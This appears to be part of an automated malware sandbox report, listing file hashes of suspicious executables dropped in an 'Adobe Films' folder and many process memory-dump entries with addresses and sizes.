SHA51260c7f2446249c0d49d74b65aba985588980d38cd6770e24120fccbd05bd88a632f85383fc421d9b42f830c73c892d9045e96cd73b7dc91d418d630322898fc2b
-
C:\Users\Admin\Pictures\Adobe Films\rJhMZvnFmewWMgIePRFsY_sA.exeMD5
04571dd226f182ab814881b6eaaf8b00
SHA19bbb1cefd052ae602354f3f4b5a2484f31b06f37
SHA2563a77893efb476ec95d3e340cf5b98f1bf39c77a4064be7c39475ef9ebd3aed1c
SHA5124dba92ebc85d5553a11b749fa8147f233c1ab7cd04256d3fd1fed17126cc338a93fa64f1ec807d3eb75f6958a5555c8f9078c0b8ed7c090278a03e7fbe06eb06
-
C:\Users\Admin\Pictures\Adobe Films\rJhMZvnFmewWMgIePRFsY_sA.exeMD5
04571dd226f182ab814881b6eaaf8b00
SHA19bbb1cefd052ae602354f3f4b5a2484f31b06f37
SHA2563a77893efb476ec95d3e340cf5b98f1bf39c77a4064be7c39475ef9ebd3aed1c
SHA5124dba92ebc85d5553a11b749fa8147f233c1ab7cd04256d3fd1fed17126cc338a93fa64f1ec807d3eb75f6958a5555c8f9078c0b8ed7c090278a03e7fbe06eb06
-
C:\Users\Admin\Pictures\Adobe Films\scfT65Yi8gy0dT5r5wdXmZND.exeMD5
de79ad83c20fa6868563d61ce955c389
SHA1589787c5545db1cb22b94e545ce7d5a07dcd1b6b
SHA256b673ba62e7129ec70eb453eafa290782870c1824c7e5119faa80b5b782d2ca0a
SHA512c719729bebad6e7f7e768e50d9df417cf00fcc90bc6091c33498f4fce39ec207e565125d86e50794f7d7da646190f333d3fdc421b0d6f9f68e15872499771286
-
C:\Users\Admin\Pictures\Adobe Films\scfT65Yi8gy0dT5r5wdXmZND.exeMD5
de79ad83c20fa6868563d61ce955c389
SHA1589787c5545db1cb22b94e545ce7d5a07dcd1b6b
SHA256b673ba62e7129ec70eb453eafa290782870c1824c7e5119faa80b5b782d2ca0a
SHA512c719729bebad6e7f7e768e50d9df417cf00fcc90bc6091c33498f4fce39ec207e565125d86e50794f7d7da646190f333d3fdc421b0d6f9f68e15872499771286
-
C:\Users\Admin\Pictures\Adobe Films\ydWz5wGfm19stkAY4iMIn9Xd.exeMD5
a71d043e7658a76efeb1602aa1656674
SHA1c1e68448dab17418fa56388afc6c3cd014ab7279
SHA2562a3b34f84878c37a95efffb84d46df88fcef0e088a7e0e533bb5bb56428b6249
SHA5122833854803052056694461787a85967b8bee21c21366e35d13fc73e35d14b54645fbad9c68d4e5b3a490d08e6978a85c5d04c252f41607d6800847f09047e59a
-
C:\Users\Admin\Pictures\Adobe Films\ydWz5wGfm19stkAY4iMIn9Xd.exeMD5
a71d043e7658a76efeb1602aa1656674
SHA1c1e68448dab17418fa56388afc6c3cd014ab7279
SHA2562a3b34f84878c37a95efffb84d46df88fcef0e088a7e0e533bb5bb56428b6249
SHA5122833854803052056694461787a85967b8bee21c21366e35d13fc73e35d14b54645fbad9c68d4e5b3a490d08e6978a85c5d04c252f41607d6800847f09047e59a
-
C:\Users\Admin\Pictures\Adobe Films\zpFE8L30S3ZheXNi_5l2ALWi.exeMD5
fcbc2c4444fe9dd9a6301f11f504a68b
SHA1210c74589e3232a1c14659a08ba62d2da4dcd1f7
SHA2563bf5e55fc9479c1d3f5f90952d9a29fe9ca4279374da2295d9643bf98578641f
SHA51271cf64e167ae2b3766fec88e996824ce8cafe015b5e7c86f891ccdcf4f515f9922ad8dce845dcbc7ceafbecc837b9847557a467c29616958fdd039dbcb5ef928
-
C:\Users\Admin\Pictures\Adobe Films\zpFE8L30S3ZheXNi_5l2ALWi.exeMD5
fcbc2c4444fe9dd9a6301f11f504a68b
SHA1210c74589e3232a1c14659a08ba62d2da4dcd1f7
SHA2563bf5e55fc9479c1d3f5f90952d9a29fe9ca4279374da2295d9643bf98578641f
SHA51271cf64e167ae2b3766fec88e996824ce8cafe015b5e7c86f891ccdcf4f515f9922ad8dce845dcbc7ceafbecc837b9847557a467c29616958fdd039dbcb5ef928
-
memory/668-507-0x0000000000000000-mapping.dmp
-
memory/728-119-0x0000000000000000-mapping.dmp
-
memory/808-533-0x0000000000000000-mapping.dmp
-
memory/816-118-0x0000000006480000-0x00000000065CC000-memory.dmpFilesize
1.3MB
-
memory/912-281-0x00000000008E0000-0x00000000008E1000-memory.dmpFilesize
4KB
-
memory/912-196-0x0000000000000000-mapping.dmp
-
memory/1012-176-0x0000000000000000-mapping.dmp
-
memory/1296-172-0x0000000000000000-mapping.dmp
-
memory/1988-253-0x0000000004C10000-0x0000000004C11000-memory.dmpFilesize
4KB
-
memory/1988-177-0x0000000000000000-mapping.dmp
-
memory/1988-251-0x00000000049C0000-0x00000000049C1000-memory.dmpFilesize
4KB
-
memory/1988-215-0x0000000004A40000-0x0000000004A41000-memory.dmpFilesize
4KB
-
memory/1988-205-0x00000000001F0000-0x00000000001F1000-memory.dmpFilesize
4KB
-
memory/2064-401-0x00000000028B0000-0x00000000028B1000-memory.dmpFilesize
4KB
-
memory/2064-381-0x0000000002880000-0x0000000002881000-memory.dmpFilesize
4KB
-
memory/2064-408-0x0000000003560000-0x0000000003561000-memory.dmpFilesize
4KB
-
memory/2064-202-0x00000000028A0000-0x00000000028A1000-memory.dmpFilesize
4KB
-
memory/2064-206-0x0000000002860000-0x0000000002861000-memory.dmpFilesize
4KB
-
memory/2064-432-0x0000000000A00000-0x0000000000A01000-memory.dmpFilesize
4KB
-
memory/2064-430-0x00000000009B0000-0x00000000009B1000-memory.dmpFilesize
4KB
-
memory/2064-426-0x00000000009D0000-0x00000000009D1000-memory.dmpFilesize
4KB
-
memory/2064-213-0x0000000002850000-0x0000000002851000-memory.dmpFilesize
4KB
-
memory/2064-219-0x0000000002870000-0x0000000002871000-memory.dmpFilesize
4KB
-
memory/2064-158-0x0000000000000000-mapping.dmp
-
memory/2064-349-0x00000000063E2000-0x00000000063E3000-memory.dmpFilesize
4KB
-
memory/2064-418-0x00000000009E0000-0x00000000009E1000-memory.dmpFilesize
4KB
-
memory/2064-193-0x0000000000600000-0x000000000074A000-memory.dmpFilesize
1.3MB
-
memory/2064-214-0x0000000003660000-0x000000000368E000-memory.dmpFilesize
184KB
-
memory/2064-438-0x0000000003560000-0x0000000003561000-memory.dmpFilesize
4KB
-
memory/2064-266-0x0000000003A60000-0x0000000003A79000-memory.dmpFilesize
100KB
-
memory/2064-419-0x00000000009A0000-0x00000000009A1000-memory.dmpFilesize
4KB
-
memory/2064-415-0x0000000003560000-0x0000000003561000-memory.dmpFilesize
4KB
-
memory/2064-397-0x0000000002890000-0x0000000002891000-memory.dmpFilesize
4KB
-
memory/2064-270-0x00000000063E0000-0x00000000063E1000-memory.dmpFilesize
4KB
-
memory/2064-400-0x00000000028C0000-0x00000000028C1000-memory.dmpFilesize
4KB
-
memory/2064-412-0x0000000003560000-0x0000000003561000-memory.dmpFilesize
4KB
-
memory/2064-439-0x0000000003560000-0x0000000003561000-memory.dmpFilesize
4KB
-
memory/2064-410-0x0000000003560000-0x0000000003561000-memory.dmpFilesize
4KB
-
memory/2064-423-0x0000000000990000-0x0000000000991000-memory.dmpFilesize
4KB
-
memory/2064-402-0x0000000003570000-0x0000000003571000-memory.dmpFilesize
4KB
-
memory/2064-440-0x00000000027F0000-0x00000000027F1000-memory.dmpFilesize
4KB
-
memory/2068-208-0x00000000001F0000-0x00000000001F1000-memory.dmpFilesize
4KB
-
memory/2068-355-0x0000000001F80000-0x0000000001F82000-memory.dmpFilesize
8KB
-
memory/2068-159-0x0000000000000000-mapping.dmp
-
memory/2068-179-0x0000000000070000-0x0000000000071000-memory.dmpFilesize
4KB
-
memory/2088-175-0x0000000000000000-mapping.dmp
-
memory/2088-328-0x0000000000400000-0x0000000000453000-memory.dmpFilesize
332KB
-
memory/2212-182-0x00000000002D0000-0x00000000002D1000-memory.dmpFilesize
4KB
-
memory/2212-156-0x0000000000000000-mapping.dmp
-
memory/2232-335-0x00000000001C0000-0x00000000001D3000-memory.dmpFilesize
76KB
-
memory/2232-173-0x0000000000000000-mapping.dmp
-
memory/2328-174-0x0000000000EE0000-0x0000000000EE1000-memory.dmpFilesize
4KB
-
memory/2328-210-0x00000000059D0000-0x00000000059D1000-memory.dmpFilesize
4KB
-
memory/2328-225-0x0000000005CC0000-0x0000000005CC1000-memory.dmpFilesize
4KB
-
memory/2328-123-0x0000000000000000-mapping.dmp
-
memory/2328-246-0x0000000005970000-0x0000000005973000-memory.dmpFilesize
12KB
-
memory/2328-290-0x0000000005C30000-0x0000000005C8C000-memory.dmpFilesize
368KB
-
memory/2332-398-0x0000000000000000-mapping.dmp
-
memory/2496-154-0x0000000000000000-mapping.dmp
-
memory/2548-122-0x0000000000000000-mapping.dmp
-
memory/2548-245-0x00000000001C0000-0x00000000001C8000-memory.dmpFilesize
32KB
-
memory/2684-298-0x0000000140000000-0x0000000140FFB000-memory.dmpFilesize
16.0MB
-
memory/2684-157-0x0000000000000000-mapping.dmp
-
memory/2756-124-0x0000000000000000-mapping.dmp
-
memory/2756-283-0x0000000002310000-0x000000000233E000-memory.dmpFilesize
184KB
-
memory/2756-294-0x0000000004CD0000-0x0000000004CD1000-memory.dmpFilesize
4KB
-
memory/2756-342-0x0000000004CC4000-0x0000000004CC6000-memory.dmpFilesize
8KB
-
memory/2756-311-0x00000000024B0000-0x00000000024DC000-memory.dmpFilesize
176KB
-
memory/2756-285-0x0000000004CC0000-0x0000000004CC1000-memory.dmpFilesize
4KB
-
memory/2968-260-0x0000000000400000-0x00000000004D8000-memory.dmpFilesize
864KB
-
memory/2968-126-0x0000000000000000-mapping.dmp
-
memory/3036-127-0x0000000000000000-mapping.dmp
-
memory/3080-244-0x0000000000400000-0x000000000091D000-memory.dmpFilesize
5.1MB
-
memory/3080-211-0x0000000000000000-mapping.dmp
-
memory/3080-378-0x00000000029B0000-0x00000000029B1000-memory.dmpFilesize
4KB
-
memory/3080-259-0x0000000000400000-0x000000000091D000-memory.dmpFilesize
5.1MB
-
memory/3080-252-0x0000000000400000-0x000000000091D000-memory.dmpFilesize
5.1MB
-
memory/3080-223-0x0000000002440000-0x00000000024A0000-memory.dmpFilesize
384KB
-
memory/3080-230-0x00000000029A0000-0x00000000029A1000-memory.dmpFilesize
4KB
-
memory/3116-146-0x0000000000000000-mapping.dmp
-
memory/3188-292-0x00000000001C0000-0x00000000001E7000-memory.dmpFilesize
156KB
-
memory/3188-145-0x0000000000000000-mapping.dmp
-
memory/3188-299-0x0000000000400000-0x000000000046B000-memory.dmpFilesize
428KB
-
memory/3224-236-0x0000000000F90000-0x0000000000FA1000-memory.dmpFilesize
68KB
-
memory/3224-147-0x0000000000000000-mapping.dmp
-
memory/3224-209-0x0000000000FF0000-0x000000000113A000-memory.dmpFilesize
1.3MB
-
memory/3328-239-0x0000000000E60000-0x0000000000E61000-memory.dmpFilesize
4KB
-
memory/3328-212-0x0000000077410000-0x000000007759E000-memory.dmpFilesize
1.6MB
-
memory/3328-276-0x0000000005D40000-0x0000000005D41000-memory.dmpFilesize
4KB
-
memory/3328-288-0x0000000005E70000-0x0000000005E71000-memory.dmpFilesize
4KB
-
memory/3328-128-0x0000000000000000-mapping.dmp
-
memory/3328-258-0x0000000006350000-0x0000000006351000-memory.dmpFilesize
4KB
-
memory/3328-313-0x0000000005DA0000-0x0000000005DA1000-memory.dmpFilesize
4KB
-
memory/3556-185-0x0000000000000000-mapping.dmp
-
memory/3556-301-0x00000000000D0000-0x00000000000D1000-memory.dmpFilesize
4KB
-
memory/3556-240-0x0000000077410000-0x000000007759E000-memory.dmpFilesize
1.6MB
-
memory/3556-338-0x00000000054B0000-0x00000000054B1000-memory.dmpFilesize
4KB
-
memory/3596-186-0x0000000000000000-mapping.dmp
-
memory/3684-312-0x0000000000460000-0x00000000005AA000-memory.dmpFilesize
1.3MB
-
memory/3684-155-0x0000000000000000-mapping.dmp
-
memory/3688-265-0x0000000000380000-0x0000000000381000-memory.dmpFilesize
4KB
-
memory/3688-178-0x0000000000000000-mapping.dmp
-
memory/3688-319-0x0000000005870000-0x0000000005871000-memory.dmpFilesize
4KB
-
memory/3744-302-0x0000000001270000-0x0000000001271000-memory.dmpFilesize
4KB
-
memory/3744-197-0x0000000000000000-mapping.dmp
-
memory/4024-133-0x0000000000000000-mapping.dmp
-
memory/4024-278-0x00000000001C0000-0x00000000001C8000-memory.dmpFilesize
32KB
-
memory/4048-229-0x0000000000210000-0x0000000000211000-memory.dmpFilesize
4KB
-
memory/4048-216-0x0000000000000000-mapping.dmp
-
memory/4048-267-0x0000000000A50000-0x0000000000A51000-memory.dmpFilesize
4KB
-
memory/4092-125-0x0000000000000000-mapping.dmp
-
memory/4100-220-0x0000000000000000-mapping.dmp
-
memory/4204-364-0x0000000000400000-0x0000000000414000-memory.dmpFilesize
80KB
-
memory/4204-343-0x0000000000000000-mapping.dmp
-
memory/4236-392-0x0000000002210000-0x00000000022E6000-memory.dmpFilesize
856KB
-
memory/4236-238-0x0000000000000000-mapping.dmp
-
memory/4236-395-0x0000000000400000-0x00000000004D9000-memory.dmpFilesize
868KB
-
memory/4236-386-0x0000000002190000-0x000000000220C000-memory.dmpFilesize
496KB
-
memory/4268-361-0x0000000004980000-0x0000000004CA0000-memory.dmpFilesize
3.1MB
-
memory/4268-307-0x0000000000F20000-0x0000000000F47000-memory.dmpFilesize
156KB
-
memory/4268-272-0x0000000000000000-mapping.dmp
-
memory/4300-249-0x0000000000400000-0x0000000000408000-memory.dmpFilesize
32KB
-
memory/4300-255-0x0000000000402DC6-mapping.dmp
-
memory/4356-520-0x0000000000000000-mapping.dmp
-
memory/4476-262-0x0000000000000000-mapping.dmp
-
memory/4484-405-0x0000000008B70000-0x0000000009176000-memory.dmpFilesize
6.0MB
-
memory/4484-377-0x0000000004788D4A-mapping.dmp
-
memory/4616-366-0x0000000000000000-mapping.dmp
-
memory/4624-384-0x00000000001E0000-0x00000000001E1000-memory.dmpFilesize
4KB
-
memory/4624-369-0x0000000000000000-mapping.dmp
-
memory/4740-370-0x00000000001E0000-0x00000000001F0000-memory.dmpFilesize
64KB
-
memory/4740-373-0x0000000000770000-0x0000000000782000-memory.dmpFilesize
72KB
-
memory/4740-360-0x0000000000000000-mapping.dmp
-
memory/4744-354-0x0000000000000000-mapping.dmp
-
memory/4824-303-0x0000000000000000-mapping.dmp
-
memory/4836-304-0x0000000000000000-mapping.dmp
-
memory/4836-317-0x00000000005C0000-0x00000000005C1000-memory.dmpFilesize
4KB
-
memory/4896-348-0x0000000000000000-mapping.dmp
-
memory/4908-414-0x00000000006B0000-0x00000000006B2000-memory.dmpFilesize
8KB
-
memory/4908-404-0x0000000000000000-mapping.dmp
-
memory/4928-357-0x0000000000418D3A-mapping.dmp
-
memory/4928-389-0x0000000005520000-0x0000000005B26000-memory.dmpFilesize
6.0MB
-
memory/5044-390-0x0000000000000000-mapping.dmp
-
memory/5044-437-0x0000000000400000-0x000000000046A000-memory.dmpFilesize
424KB
-
memory/5044-434-0x00000000004C0000-0x00000000004E6000-memory.dmpFilesize
152KB
-
memory/5044-435-0x0000000001FA0000-0x0000000001FE3000-memory.dmpFilesize
268KB
-
memory/5068-330-0x0000000000000000-mapping.dmp
-
memory/5100-376-0x0000000000000000-mapping.dmp
-
memory/5136-406-0x0000000000000000-mapping.dmp
-
memory/5212-498-0x0000000000000000-mapping.dmp
-
memory/5244-421-0x000000001B530000-0x000000001B532000-memory.dmpFilesize
8KB
-
memory/5244-413-0x0000000000000000-mapping.dmp
-
memory/5356-516-0x0000000000402998-mapping.dmp
-
memory/5372-433-0x000000001B8F0000-0x000000001B8F2000-memory.dmpFilesize
8KB
-
memory/5372-420-0x0000000000000000-mapping.dmp
-
memory/5504-428-0x0000000000000000-mapping.dmp
-
memory/5604-436-0x0000000000000000-mapping.dmp
-
memory/5756-524-0x0000000000000000-mapping.dmp
-
memory/5804-526-0x0000000000000000-mapping.dmp
-
memory/5944-530-0x0000000000000000-mapping.dmp
-
memory/6112-494-0x0000000000000000-mapping.dmp